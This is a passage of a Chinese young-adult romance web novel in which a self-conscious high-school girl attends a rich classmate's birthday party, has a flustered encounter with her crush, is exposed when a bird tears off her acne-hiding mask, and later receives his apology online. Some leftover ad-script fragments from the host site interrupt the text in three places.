许若闻言就笑,忍不住靠进吴佳蓉的怀里,故意撒娇说:“妈妈你最好了。” 吴佳蓉做了个浑身掉鸡皮疙瘩的动作,脸上却挂着笑,说:“你知道你妈好就行。” 第二天上午,许若洗漱之后,吴佳蓉竟拿出一包化妆品,让她坐在梳妆镜前,好好打扮了一番。 这是一个事先没有告知许若的行动。 当吴佳蓉拿小刷子往许若脸上涂遮瑕膏的时候,许若心里疑惑不已,她憋了半天,终于望着镜子里粉底细腻的自己问了出来:“妈,你不是一直教导我,让我大方,舒展,别太看重别人的目光吗?为什么还要给我化妆?” 吴佳蓉眼皮都没抬,说道:“我看你成天戴口罩,就知道你在意脸上的痘痘,我虽然引导你别在乎别人的目光,但你这个年纪太敏感,不可能只关注自己,本来因为外表就很自卑了,结果难受了之后还要批评自己有这种想法是不对的,那岂不是很可怜?” 她拿起唇釉给许若涂,又道:“我告诉你啊,全然不在意别人的眼光的确很酷,但对自己诚实也是一种勇敢。有时候没必要非得硬着头皮直面困难,闪躲也可以,掩饰也可以,退缩也可以,没什么大不了的。” 许若被这段话差点说哭。 对于她这样的女孩来说,常常会因为做不到所向披靡、勇往直前,而为自己感到羞耻。可是妈妈告诉她,缩回角落也没关系,这让她的胆怯和敏感有了着落,妈妈治愈了她,反而让她无论做出什么选择,都不会感到自责,从心底里更加认可自己。 为此,许若千万次的感激。 宋楚的生日宴在晚上七点准时开始,许若六点半来到宴会举办地宝山别墅。 宝山别墅坐落于半山腰,一路开车上来,只见水泥路两旁种满了蟠龙穹枝的檀树,树深处有鸟儿和虫豸唧唧鸣叫。 房子是白色的,落地窗散发出辉煌的色彩,古希腊风格的构造,门口一排石柱栏杆,栏杆外是一排修剪整齐的常青树,书外一圈儿草坪,绿意盎然。 吴佳蓉停车后,有人专门来给许若开车门,她和吴佳蓉对视一眼,两个人都没见过这种场面,所以都笑了。 许若下车后,吴佳蓉在专人引导下,离开半山。 许若被一个女管家引导进门。 这时她才看到院子旁的车库停了好多豪车,还有源源不断的豪车驶入大门,往地下车库去。 她往里走,走到一个走廊上,往里走能渐渐听到派对的声音,她七拐八拐,被带到一个满是霓虹的后花园。 三层楼高的地方升起一个硕大的屏幕,上面循环播放着宋楚十八岁的写真集,屏幕下用深浅不一的紫色鲜花搭起一个花棚,棚下国内知名的乐队在表演。 花园里设有两张分餐式的长餐桌,餐具在灯光下散发着澄净的光芒,桌上也摆着紫色的新鲜花朵,空气里香气靡靡,彩带和气球飘扬着,周围走来走去的人们衣香鬓影,全都穿着礼服。 许若特意打扮过,一件温柔的粉色连衣裙,如野芍捻花枝,茂密的长发很淑女的散落于腰际,没有任何的装饰物,手腕和脖子都是素素净白。 她怕冷,在裙子外面穿了件白色的小衫,脱掉之后,却还是显得不正式。 像个误入繁华的迷路人。 好在张赭和她同病相怜。 张赭一身牛仔套装,穿运动鞋,整个场子只有他和她是来参加同学生日会的,别人都是来给大小姐贺寿。 张赭看到许若之后,喊她和自己一起坐。 许若走到沙发坐下,两个人无聊又拘谨,一直在没话找话聊天。说着说着,许若无意间抬头看了一眼,只见二楼落地窗前,一群男男女女正站在那。 陆燏一身休闲的黑衣,端着香槟摇摇晃晃,他旁边的女生看不到脸,只见她身着黑色短裙礼服,露出窈窕的美背,靠着窗户,正和他说话。 旁边还有三个男生,穿的也是平时的衣服,其中陈星彻身着棒球服和牛仔裤,正打电话,目光随意向下扫视着,始终没往许若这边落。 张赭忽然问:“你给她送什么?” 许若收回视线,扬了扬手里的紫色丝绒盒子,说:“一条手链。” 张赭说:“我不懂这些的,给她买了一本《自深深处》。” 许若低头看,只见这本书被整齐包装好,心想也确实是用心准备的礼物了。 “张赭!”宋楚的声音从不远处传来。 许若和张赭同时回头,只见宋楚身着一袭紫色大裙摆抹胸礼裙走过来,她化了精致的妆容,细细的眉形为她平添几丝妖冶,红唇轻启,妖娆而高傲,光彩足够照人。 许若的目光落在宋楚身上,宋楚却没有看许若,她望向张赭,问:“你什么时候来的。” 张赭说:“刚来十分钟吧。” 又把手里的礼物拿起来,送出去:“生日快乐,小小心意,你别嫌弃。” 宋楚嗔了他一眼,说:“你把我当什么了,无论你送什么我都高兴。” 许若闻言,趁机拿出自己的礼物,说道:“宋楚,生日快乐。” 宋楚这才扫了许若一眼,原本只是随意一瞥就移开目光,可很快又转回去了,定定盯着她的脸庞,脸上露出玩味的笑意:“你打扮过了呀,皮肤乍一看很好的样子。” 张赭的脸色变了变,总觉得这话乍一听不大顺耳。 许若却很平和地笑:“嗯,参加你的生日会,总要收拾一下自己。” 宋楚挑眉:“是哦。”又瞥了眼她手上的礼物,接过来拿着,也没说谢谢,只看向张赭说,“我爸给我请了好多明星歌手过来,等会儿开场之后可以点歌,你可以想想要听什么。” 张赭拘谨地笑:“好的好的。” 然后宋楚转身去和别的客人说话去了。 许若和张赭又回沙发坐好。 她总觉得好像有视线落在自己身上,心念一动,再次抬头往陈星彻的方向看了一眼。 只见那扇落地窗前,只剩两个人——陈星彻和一身白色西服的宋叙西,正往下俯瞰,目光纷纷落在她这边,却不知道是否在看她,又在说些什么。 她呼吸一乱,忙收回眼眸。 等待派对正式开场之前的时间,许若一直都坐在沙发上。 张赭中途倒是起身去洗手间,她一个人坐在那,听后面那个沙发上的女生们聊天,提及宋楚的裙子,说是阿玛尼的高定款式,直接从秀场空运过来的。 聊着聊着,不知道怎么话锋一转,聊到今天来的客人身上,说什么有个寒酸鬼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,送了宋楚一条白送都不要的破手链,也不知道怎么拿得出手,不嫌丢人。 许若听得心如止水,因为自己问心无愧,所以并不觉得这些话会伤害到她。 可这时有个人咳嗽了一声,呵斥道:“说什么呢,轮得到你们在这嚼舌头。” 许若转头,只见刚才和陆燏站在一起的黑裙子女孩,就站在右边的地毯上。 她望过去,女孩也望过来,二人的视线在空中交会,然后女孩朝她走过来,歪歪头笑着说:“你好,我是李岁,岁岁长相见的岁,你呢。” 直到很多年以后,许若都记得这一天和李岁初见的场景。 整个生日宴上这么多人,她们由完全陌生到告知彼此的名字,这期间没有经过任何一个人的介绍,仅仅是因为她看到了她,于是走了过来。 这个名字,许若好像在哪里听到过。 她一笑:“你好,我叫许若。” 李岁在她旁边坐下,问:“周芷若的若?” 许若笑说:“嗯。” 李岁看着她,目光里满是掩不住的欣赏:“刚才在楼上就见你特别安静坐在这,很脱俗,很漂亮,和别人都不一样,好像有个玻璃罩子把你与众人隔绝了,想着一定要给你打个招呼。” 这番话让许若也认真看向李岁。 李岁是那种气质大于样貌的女生,她的五官很淡,第一眼看上去并不会觉得多么漂亮,顶多算清纯。可她很耐看,皮肤特别好,鼻尖一点痣,平添几分灵动,眼睛里有一点很自我的倔强,十分吸引人。 李岁坦荡地说,她是被许若吸引了,才走过来主动搭讪。 因为这句话简单直接,也因为李岁的长相和气质给人不一样的感觉,许若也对这个女孩充满好感。 二人算是倾盖如故,就这么聊了起来。 聊过之后才知道,李岁是陆燏带来的,居然和关以宁一个学校,无形中又平添一层缘分。 正聊得起劲,人群中忽然爆发一声尖叫。 抬头看,只见夜空中有一排无人机飞过,在空中变换着队形,先是摆出“宋楚,生日快乐”的字迹,后又摆出生日蛋糕的图案。 每一次变幻都引起众人艳羡的欢呼。 就当还差十秒钟就要到七点时,无人机开始倒计时,随着“三、二、一”尘埃落定,烟花升腾,轰轰烈烈地绽放于别墅周围,整栋房子都被花火环抱。 宋楚作为今天的主角,被簇拥着来到花棚下,紧接着管家把五层高的铃兰花蛋糕推来。 众人为宋楚齐唱生日歌。 每个人脸上都洋溢着欢笑。 这一幕足以见得何为天之骄女,何为备受宠爱。 李岁碰碰许若的腰窝,问:“羡慕吗?” 许若回神,把目光从宋楚身上移开,笑着摇了摇头。 李岁耸肩,说:“要是别人说不羡慕,我可能不信,但你说,我信,因为你的眼睛很清澈。” 许若被她夸得不好意思,又问:“你羡慕?” 李岁想了想,说:“一般般吧,如果我想要,陆燏给得起。” 许若想起陆燏和李岁站在落地窗前的样子,感觉莫名养眼,不由笑了笑。 但李岁话锋一转:“但我已经习惯不过生日,七岁之后就没再吹过蜡烛。” 许若微愣,旋即感到失落。 李岁却笑了:“所以我说一般般。” 许若不知道该如何安慰,伸手牵住了李岁的手,轻轻揉了揉。 李岁眼睛亮起来,像见着个宝贝,说:“天,你怎么那么纯啊,你瞧你的动作有多乖,要是用在一个男孩身上,他的心还不得软化了。” 许若怔了怔后腮边飞红。 李岁捂嘴一笑,刚要说什么,陆燏叫她一声:“岁岁,找你半天了,怎么躲这儿呢。” 李岁回头,粲然一笑:“我认识一个新朋友。” 许若也回头,只见陆燏,赵杭,宋叙西和陈星彻几人都走了过来。 7.夏悸 陆燏瞥了许若一眼,很快移开目光。 李岁很自然地走到陆燏旁边,和他站到一起。 这边,赵杭先给许若打了个招呼,问:“你是宋楚同桌吧?” 许若点头:“嗯,你好。” 赵杭毫不掩饰地盯着她的眼睛,笑:“我赵杭。”又转脸看了眼陈星彻,“我经常去你们班找他的,你应该见过。” 许若瞥了眼陈星彻,迟疑了一秒,才对赵杭点点头,表示见过。 陈星彻没看许若,径直走到桌旁拿新烤好的鹅肝吃。 宋叙西倒是上下打量许若一遍,评价一句:“现在的高中生都这么质朴吗。” 许若一愣。 低头看了眼自己的衣服,和各种小洋裙和礼服自然是没办法比,但只是不正式,却也不寒酸呀。 正想着,许若的手机突然响了起来。 诺基亚自带的铃声,老土又声音大,顿时让在场的人都一怔,像是看怪物一样,不眨眼地盯着许若,看她从外套里掏出那部早已被时代淘汰的手机。 许若看来电显示是许萧,就挂断了。 抬头,只见宋叙西又是一笑,问:“现在还有这种古董?” 许若目光澄澈,说:“有的。” 这么正经的回答,反而让人哭笑不得,赵杭直接笑喷了,宋叙西看向许若的目光多了些晦暗不明的内容,但最后什么也没说,转头去找陈星彻。 这帮人都是一个圈子里玩了好多年的,就许若一个外人,她有些不自在,干脆借口说要去洗手间,就先离开了。 刚走没几步,张赭叫住她,问:“许若,蛋糕也切完了,咱们走吗?” 许若看了眼不远处的陈星彻,心里的念头在拉扯,想了几秒后说:“我妈妈说好了九点来接我。” 张赭有点失望,说:“那好吧。”又说,“我实在待不下去了,还有好多作业没写,得先回去了,你一个人行吗。” 许若说:“行的。” 张赭点头:“那我去软件上叫车了。” 许若说:“嗯。” 许若刚要转身,张赭却又忽然叫住她:“那个……许若。” “嗯?”许若回眸。 张赭缓缓地笑了,视线落在她脸上,却不敢看她的眼睛:“你今天很好看。” 许若微愣,也笑了:“谢谢。” “……” 随后张赭没再说什么,向许若说完再见,继而去找宋楚道别。 许若则去找洗手间。 从洗手间出来之后,许若找了个可以看到陈星彻,但是却几乎不会被人注意到的位置坐下。 宋楚到他们那玩,张罗着大家吃刚被切下来的蛋糕。 许若看到陈星彻第一次拒绝了食物。 他不爱吃甜的。 许若的左前方,有两个佣人正往盘子里添加甜品。 其中一人说道:“听说今天的无人机是陈家少爷准备的。” 另一人答:“是啊,这帮孩子真是有钱有手段,那可是五百架无人机呀。” “……” 许若顿时五味杂陈。 再看向陈星彻时,就不如刚才那么平静了。 他们那边在玩游戏,很传统的击鼓传花。 传到宋叙西时,赵杭嚷嚷着让他喝碳酸饮料,宋楚笑成了花儿,说:“赵杭,你要是能劝我哥喝一口可乐,我给你跪下。” 众人哄笑。 有人问:“为什么啊,这有什么说法吗?” 赵杭科普道:“宋叙西十六岁开始就严格注重个人保养,为了能当完美的艺人,每天坚持健身,坚持敷面膜,从不饮酒、不喝碳酸饮料,少油少盐低卡饮食,而且几乎戒了碳水。”说完又拿话筒问,“你们几个大明星,有我们西哥自律吗?” 明星们纷纷摆手示意比不过。 宋叙西笑着对赵杭说:“我还注重口碑管理,一般不会当众打人,但如果你再废话,我不介意破例。” 这一大帮人里,宋叙西明显是有话语权的,赵杭立马蔫儿菜,闭口不语了。 后来宋叙西还是没喝饮料,而是唱了一首歌。 这是许若第一次听到宋叙西唱歌。 宋叙西这个人长了一张国泰民安的脸,五官是周正的好看,但并不寡淡,而是那种能被人一眼记住的长相,脸型又好看,做演员的话古装扮相应该也会很合适。 可他的声音却是与长相不太符的薄荷音,很少年,很清新。 他唱一首老歌,周传雄的《黄昏》。 “依然记得从你口中,说出再见坚决如铁,昏暗中有种烈日灼身的错觉。” 调子这样婉转哀诉,却被他唱得明快许多。 周传雄的声音是放不下,可宋叙西的声音唱出来的是放下。 一曲而毕,所有人都为他叫好。 许若在角落,也举起了手,真心地鼓掌。 下一个需要表演的是陈星彻。 花在鼓声落下的前一秒本在陆燏手里,他像扔烫手的山芋一般丢给了陈星彻,然后带头起哄:“来一个!来一个!” 赵杭喊道:“就是,为了宋楚,你来一个!” 许若想到今天的无人机,心里说不上来的憋闷,在陈星彻表演之前,就离开了现场。 这所别墅那么大,总有一个角落,可以彻底屏蔽那些不属于她的热闹。 许若漫无目的往前走,路过一个泳池,来到一个花坛的长椅上坐下。 这边四下无人,连灯光都黯淡许多。 派对的声音,也听得模糊。 许若坐了一会儿,预估着回去的时间。 没多久,她忽然听到一阵异样的声音。 男生声音嘶哑,说:“想死我了。” 女生嘤咛缠绵,连连喊男生的名字:“兴扬,你坏,哎呀……” 还伴随着花树乱颤的声音,幽幽从身后飘了出来。 许若吓了一跳,霍然反应过来后边发生了什么。 这边的花坛和派对那个花园不同,这里多植树木,几棵罗汉松就把人挡了个严严实实。 她很快判断出对方并没发现她,于是猫着腰起身,准备躲开。 谁知刚转身,脑袋猛地撞上一个人的大腿。 她吓得浑身激灵,恍然抬头,对上陈星彻清清冷冷的目光。 她的眼神在怔然后变得慌乱,一时不知道是该起身,还是继续猫着腰,也不知道该用什么表情面对他,毕竟那道腻歪的声音还在传来,且愈发激烈。 就当许若脑海里一秒钟闪过上百个念头时,陈星彻淡淡开口了:“怎么不过去玩,一个人在这干吗?” 许若呼吸都停了。 她完全没想到陈星彻当作什么都没发生似的,就这么稀松平常同她说起话来,显然那对男女也没想到,声音顿时收住了,空气里鸦雀无声。 许若慢慢地站起来,垂首掩饰自己的尴尬,说:“没有我认识的人,不知道该干什么。” 陈星彻说:“你不是李岁新朋友吗。” 许若一噎,笑说:“嗯,但她要陪陆燏不是吗。” 陈星彻看着她,没说话。 许若又问:“你怎么过来了。” 陈星彻有点不耐烦:“逼我表演节目呢,烦。” 原来他并没有给宋楚唱歌,许若一时间说不清是高兴还是不高兴,心里乱糟糟的。 陈星彻又看她一眼,说:“走吧。” 许若没反应过来:“啊?” 陈星彻盯着许若略显呆滞的面庞,几秒后,忽地扯了下嘴角,表情有点小坏,声音让人喉咙发痒:“还没听够?想继续听?” 许若这才想起还有这一遭事,脸“腾”地红了,忙说:“好,那回去吧。” 陈星彻却不动弹了,注视着她,慢慢勾起一抹戏谑地笑,问:“害羞?” 许若看着他,嗓子发紧,说不出话。 陈星彻却像是没注意到女生的局促,上前几步,俯身看她,似在打量。 离得好近。 许若能感受到男生身上那股凛冽又独特的冷香味道,混杂淡淡干燥的夜风气息,如果她敢抬眸的话,怕是都能看得清他睫毛的长度。 许若却选择后退一步。 她太怕自己失态。 忽然吹来一阵晚风,吹拂起她的长发,几缕发丝黏在脸颊上,凌乱却出尘,上妆后皮相之美尽显,目光柔柔地亮着,似掬了捧月光。 陈星彻没有再逼近,只是轻哼一声,说:“还挺纯。” 许若的心像无数的鸽子哗啦啦起飞般颤抖着,她的脸更红了,感觉浑身都在发软 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈星彻很快又恢复以往的懒散模样,说:“不逗你了,走吧。” 说着先迈步往前走。 许若半天才呼出一口气,跌跌撞撞跟上去,好几次失神地差点撞到他的后背,却又在失态的边缘把自己拉回来。 这一刻,真的像影子跟在他身后梦游了。 快接近花园的时候,许若怕引起不必要的误会,给陈星彻惹麻烦,于是故意落后陈星彻许多。 而陈星彻始终没回头看一眼,直到走回座位上,赵杭问:“你去哪了,我们都玩完一轮了。” 陈星彻想说出去透口气,遇见个人聊了几句,一转身,才发现许若不知道什么时候不见了。 他怔了一下,却并不在意,很快将见过许若的事情抛之脑后,对赵杭说:“给哥拿点牛排吃呗。” 赵杭不乐意动弹,说:“干嘛使唤我,我为了你能早日拿到大师名品,绞尽脑汁帮你弄无人机庆生,你一句感谢的话没有,还让我给你干这干那。” 无人机表面是陈星彻送宋楚的惊喜,实际上都是赵杭安排的,在今晚之前,他甚至不知道赵杭准备的是无人机。 按理说是该感谢赵杭,可陈星彻见赵杭神经大条的样子,顿时气儿不打一处来,一脚踹他腿上:“你说为什么,就这几个破飞机,你能花二十万,你昧老子多少钱?” 此话一出,赵杭脸色顿时变得又黑又紫,瞟了眼在别桌玩得正嗨的宋楚,忙说:“行吧,你小点声别让她听见了,她要是知道不是你准备的,又要觉得你敷衍,我去给你弄牛排还不行吗。” 陈星彻知道赵杭是要揭过贪赃问题,却也不在乎,这笔钱够他使唤赵杭一年的了,他笑笑:“现煎的,肉眼,七分熟,撒点罗勒碎。” 赵杭撇了撇嘴,嘟囔着:“事儿还不少。” 又不敢大声说,很快下去准备了。 …… 回去之后,许若还是坐在角落。 她和他们圈子不同,没多少共同话题,不必硬容。 大概又独坐半小时,吴佳蓉给许若打电话,来接她回家。 她起身去和宋楚道别,宋楚没空招待她,只随便找了个佣人带她离开。 许若想了想,又去给李岁说再见。 李岁拿出手机想添加她的社交账号,无奈她的手机不能上网,只好先互相交换号码,等回家之后再添加好友。 临走前,李岁笑着对许若说:“下次见。” 许若也笑:“下次见。” 转身的时候,不动声色瞥了眼陈星彻,人家正小口吃牛排呢,她收回目光,走得头也不回。 出了大门才发现居然是许君山和吴佳蓉一起来接她。 吴佳蓉笑得不行,说:“你爸听说你进富人区了,说什么都想来见识一下。” “噗哈哈哈……” 一家人说说笑笑一路。 回家之后,许若在楼下喂了会猫,又和许萧打了通电话。 上楼后见吴佳蓉正看电视。 不知道为什么,她忙活半天,却还是感觉一晚上的感情无处安放。 后来上床睡了,一闭眼就想起陈星彻用沙哑的嗓音说“还挺纯”的样子。 许若实在乱透了。 她半夜起床做数学试卷。 可是哪里又能做得下去,一道题写半小时也没写完。 她索性把试卷放回书包,打开电脑,点击未完成的小说,接着写下去。 而这一次,她给这本还没成形的书,取了个名字。 网络上有一段话,说道:你可以在summer time这个词中体会到甜蜜,痛苦,哀愁,年轻,刻骨,暗恋,孤独,燥热,阳光,河流,皮肤,腰窝,流动的树影……每个人的生命中都有一段summer time。 所以,她给小说起名《夏悸》。 不是在summer time发生的悸动,而是每一次想起他、望向他、回忆他时,都会感受到夏天的滋味,即使在隆冬,也一样在过summer time。 这一切正如她对陈星彻的感情。 慢慢滋生却要悄悄压抑的小情愫,好似盛夏时节炽热的阳光,透过树叶浓荫漏下来,遮掩不住地耀眼了一整个青春。 不会有人永远在夏季,却有人永远在夏悸。 8.后来 宋楚生日过后,许若又回到每天两点一线上学放学的日子。 她的生活波澜不惊,过得像复制粘贴一般,除了每天都能见到陈星彻外,和他再无任何的交集。 很快就到要放国庆假的时候。 这天放学后,许若背着塞满了各种试卷的书包,边给关以宁打电话商量假期出去玩,边往校外走。 正从长长的台阶往下走时,只见陈星彻一行人从侧面小路急匆匆往外跑。 许若的目光瞬间被吸引。 她加快步伐来到校门口,不少同学都往一个方向张望,她顺着目光,看到了陈星彻的妈妈赵争妍。 以前也不是没有过,赵争妍经常亲自来接陈星彻放学。 这天,赵争妍身着一袭墨绿色的丝绸连衣裙,鬈发半扎,气质干练而明媚,指间一支烟,闲适地倚在车上,她的对面,陈星彻陆燏赵杭几人少见的乖巧,不仅排排站,连脚都是并齐的。 许若莫名想笑,嘴角刚要上扬,忽见一只黄色的小鸟从车窗飞出来。 许若眼睛一亮,下意识去看陈星彻的反应,陈星彻先是一怔,旋即又惊又喜地骂了声“我靠”,说道:“妈!你怎么把它带来了?!” 到底还是十七八岁的少年,平时再酷再成熟,心中也总有许多如焰火般能够轻易被点燃的喜悦。 那小鸟在空中盘旋,陈星彻仰头,吹了声口哨,喊它:“噜噜!过来!” 噜噜不理睬他,反而往与他相反的方向飞远。 陈星彻奔跑起来追赶它,风从他的衣摆吹过,勾勒出他瘦却有力量感的线条,他带着笑,不是平日那股散漫劲儿的笑,而是发自内心的欢欣雀跃,许若从来没有见他这么笑过。 路边许多小吃摊,烟火气十足,又逢暮色降临,他奔跑起来,像是一出电影的片段,别提多么肆意快活。 他一连吹了三个口哨,噜噜却赌气似的,遛着他转圈,偏偏不肯飞到他身上。 赵杭在旁边笑骂:“这笨鸟成精了,都知道逗人玩了。” 陆燏提醒:“你小心车。” 有一辆电动车从陈星彻一边窜出来。 许若吓得眼皮狂跳,刚要冲过去扶他,那车反应倒快,拐了个方向,避开陈星彻走远了。 许若还没来得及松气,噜噜却跌跌撞撞飞到她的头上。 旁边看热闹的人都惊呼了一声。 连赵争妍都放下了烟,拧眉说:“别让这小家伙伤到人。” 陈星彻顾不得关心那辆差点把他撞到的电动车,只盯着许若的脑袋喊:“别动。” 许若屏住呼吸,眼珠转了转,往上瞟,想看一眼那只鸟正在她头上做什么,脸色慌张极了,心跳快得不行。 尽管许若没有动弹,可是噜噜却没消停,它刚才飞得低,许是也被那辆电动车吓到了,这会儿在她头发上乱扯,痛得她忍不住倒抽气。 可这还不算,陈星彻正要伸手逮它,它猛地扑棱几下,爪子挠伤了她的耳朵,还把她脸上的口罩带子抓断了。 许若骤然失神,对上陈星彻吃惊的表情。 她立即捂住脸,重重把头低了下去。 这一刻,许若感觉到前所未有的自卑和自厌。 她不知道陈星彻的惊讶,是因为噜噜伤到了她,还是因为看到她脸颊上红褐色连成片的丑陋痘印。 陈星彻很快抓住了噜噜,安抚地摸了摸它脑袋上的小羽冠,而后才来到许若身边,问:“你没事吧。” 许若摇头,却没回答。 陈星彻不自觉拧起了眉,他看着女孩受惊后颤抖的肩膀,不知道为什么,觉得心里空空荡荡。 再开口是:“不好意思。” 许若又摇摇头,哑着声道:“我没事。” 赵争妍走了过来:“噜噜平时有点淘气,但不会伤人,刚才是受惊了,你别在意。”说完,又低头去瞧许若的脸色,询问道,“你真的没事吗?” 许若知道,她再这么忸怩下去,不知道还要在这站多久,回答多少遍“我没事”,而她此刻只想赶快离开。 于是她放下挡住脸颊的双手,抬头,直视着赵争妍的眼睛,说:“我没事,刚才只是被吓到了而已。” 赵争妍看到许若的脸蛋,明显怔了怔,就和当初宋楚第一次看到她时一样。 许若被这一而再再而三的目光刺伤,她努力压住心里的波涛,用十分平缓的语气说道:“我先走了。” 没等回答,许若就转身离开。 她心情迫切,但离去的脚步却从容淡定,没有半分的慌乱。 赵争妍盯着她的背景久久没动,过了会儿,她转身对陈星彻说:“这女孩越说没事,我心里越过意不去。” 话没说完,却发现陈星彻也望着女孩的背影出神。 赵争妍问:“你认识?” “姑,她是麒哥同学。”赵杭抢先回答。 陈星彻收回视线,淡声“嗯”了下,说:“认识。” 赵争妍眼睛一亮:“那好啊,你给人正式道个歉吧,你看她戴口罩就是不想被人看到脸,这下弄得倒好,小姑娘心里该多羞耻,不给她安慰好了,估计十年八年想起来还觉得难受呢。” 陆燏嗤道:“至于吗。” 赵争妍嗓音一提:“怎么不至于!” 陈星彻淡淡垂眸,捋着噜噜的脑袋说:“行,你别激动,我知道了。” …… 许若坐公交车回家。 一路上,她数次忍不住要落泪,每一次都怕引起旁人侧目而忍耐下来。 回到家之后,她发现外公外婆来了,她只叫了声人,没办法和平时那般热络,很快躲进了卧室里。 随着时间推移,天色暗下来,屋里没有开灯,昏沉一片。 许若趴在床上,枕头上一大片水痕。 过了会儿,吴佳蓉敲门喊她。 问:“你爸买了炒栗子,你吃点吗?” 房间里静了许久都无人应答,吴佳蓉感到奇怪,又敲门问一遍:“若若,你听到没有。” 还是没人答。 外公外婆听到动静也走过来,问:“怎么了。” 吴佳蓉蹙眉说:“我不知道啊。” 说着又抬手敲门,这次力气明显大了些,也更急切:“许若,你怎么回事?” “若若,你是睡着了吗?”外公也问。 “……” 大家手忙脚乱地喊门,许君山都想着要拿钳子把门锁别开了。 这时候,门从里面打开,许若头发凌乱,眼睛红肿地出现在大家面前。 吴佳蓉明显受到惊吓,刚要问:“你怎么回事……” 话还没说完整,许若号啕着扑进她的怀里,大哭道:“妈,你带我去医院看脸吧,我不想喝那个破中药了!” 许若鲜见的情绪激动,在场所有人都是一愣。 吴佳蓉怔忡着,两只手迟迟没往许若背上落,就这么定在半空。 许君山问:“孩子,是不是有人拿你的脸说事儿啊。” 外婆说:“一准是了。” 吴佳蓉这才反应过来,终于拍了拍许若的背,安抚道:“那个中药不是还没吃完吗,再试试呢。” 许君山应和:“是呀。” 许若猛然从吴佳蓉怀里起身,连连摇头,十分激动地嘶吼:“那个医生在自己家里开诊所,根本就不靠谱!我说了你也不听,开的药也不管用,我早就不想吃了!” 说着眼泪断了线地砸出来:“妈,我求求你了。” 吴佳蓉眉头深蹙,看着许若久久难言。 许若无暇关心吴佳蓉的情绪,就只是哭,眼泪丝毫收不住。 过了大概十几秒的样子,吴佳蓉一叹,说道:“好吧,我答应你。” 许君山问:“那家里没吃完的中药呢。” 吴佳蓉沉声说:“都扔了吧。” 许若在泪眼婆娑中看向吴佳蓉,顿了顿,泪水再次倾泻而下,而这次 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是因为感激。 外婆难以置信地问:“三四千块钱的东西,都扔了?” 吴佳蓉闭目,坚定地说:“都扔了!” 说完,她转身回卧室。 许君山紧接着跟了过去。 外婆在原地一脸蒙,问外公:“我也没说什么呀,她跟谁生气呢。” 外公说:“她是心疼自己女儿呢。” 外婆便叹:“唉,我就是心疼钱嘛,又不是反对她,再说那个大夫哪里不靠谱了,不是给我看好了吗,我也是想让若若好呀。” 许若闻言,忙对外婆说:“外婆对不起,让你们跟着操心。” 或许仅仅是需要一句安慰吧,外婆很快就不计较了,笑道:“说什么呢,都是一家人,外公外婆和你爸妈一样关心你,希望你好。” 许若上前抱住了外婆,外婆也抱住她,拍拍她的后背,说着安慰的话。 后来许若去洗脸梳头,才想起她的耳朵被噜噜挠出了血,像条红线似的从耳朵尖一直拉长到耳垂上,不过已经结痂了,她拿碘伏消了消毒,就没再管它。 吃饭时,许若察觉到吴佳蓉情绪不高,她知道是她的心情影响了妈妈,本想说些什么,又怕反倒把负面情绪扩大化,只默默给吴佳蓉夹菜,用另一种方式表达关心。 吃完饭后,许若帮忙收拾了碗筷,再回屋时,她已经平静许多,便掏出书包做作业。 “国庆大练兵”一共三十五张试卷,每个学科五张,并非做个样子,开学之后老师是真的会一一收上来,如果想空出时间玩的话,她就必须快马加鞭写完。 而这些试卷中有些题目老被师划掉不需要做,她发现自己标注得并不清晰,于是打开电脑,登录好久没登录的企鹅号。 等待账号重新上线的间隙,她起身开窗。 九月末,树木虽然尚绿,但早晚的空气却早已变凉,一年四季中唯有这时节才称得上是真正的“夜凉如水”,许若很喜欢这种空气里凉丝丝却不寒冷的感觉。 晚风顺着窗子吹进屋,许若坐回电脑旁。 熟悉的“叮叮”声响起,许若眨了眨眼睛,几乎是僵在原地,脑袋嗡嗡作响。 有人加她。 是……陈星彻?!!! 就在两个小时之前,她刚回家不久的时候,他居然,添加了她的联系方式。 许若再三确认,屏幕上这个添加她为好友的账号就是陈星彻没错。 她捂住脑袋,边瞪大眼睛看着那个熟悉的账号,边难以置信地薅自己头发,屏幕上倒映出一张神经兮兮的脸。 中华文化博大精深,但绝没有任何一个词语能够形容她那一刻的感受。 欣喜又紧张,晕眩又入迷,仿佛七魂六魄都散了。 陈星彻的账号一直在班级群里,她曾无数次点开过,却从未想过有一天会和他成为好友,更遑论是他主动添加她。 平复许久,许若才滑动鼠标,通过了陈星彻的好友申请。 陈星彻和大多数男孩子一样,头像用全黑,可若点开看,就会知道,这张黑色的头像里还有一颗明亮的星星。 正契合他的个性签名:All eyes on Sirius。 Sirius是他的英文名字。 西里斯,天狼星。 夜空中最亮的恒星。 他的个性签名也着实是个性,一句狂妄而不可一世的宣告——让所有的目光都聚焦于他。 多么少年意气强不羁。 偏偏他就是那颗让人仰望的星星,随便一个举动都能引起全校风靡,All eyes on xx的句式一时被同校许多学生争相模仿。 可许若更在意陈星彻的账号昵称。那是一个让许若疑惑许久的词语: 【后来】。 她不知道他为什么会叫这个名字,而关于这个词语,她只能想起刘若英那首红遍大江南北的歌。 正想着,小企鹅开始闪动,有消息进来。 9.邀请 后来:【我是陈星彻,今天的事情对不起。】 看到这段话的时候,许若先是“理智上明白他们真的成为‘好友’,情感上却迟迟不敢相信”,后是“相信了也不知道该如何坦然自若地同他讲第一句话”。 晚风从窗边悠悠吹在身上,许若的睫毛轻颤,眼眶里有凉凉的湿意。 就这么愣了一会,她决定还是怎么想的就怎么回复,而不是为了博得他的好感,绞尽脑汁往他心眼儿里碰。 她的指尖在键盘上敲打来敲打去,终于点击发送。 收到许若消息的时候,陈星彻正在爷爷家等待吃晚饭。 之前有人孝敬了奶奶两对耳环,一对红宝石坠子的,一对淡绿玉的,奶奶拿出来给赵争妍看。赵争妍喜欢得很,非要试试,这一试就不想摘了,就说要挑一对拿走,硬拉着陈星彻问她戴哪一对好看,惹得奶奶要给陈吉赢打电话,问问他是穷到给老婆添不起首饰了还是怎样。 陈星彻知道奶奶拿出耳环就是有意送赵争妍一对,只是两个女人素来喜欢拌嘴,越吵吵越开心,倒苦了他从小就被拉来“评理”。 他懒得搭理,从桌上拿了两片牛肉干边嚼边去厨房,爷爷今天亲自下厨做香煎鳕鱼。 手机在这时振动一下,他掏出一看—— 若:【已原谅,掀篇啦。】 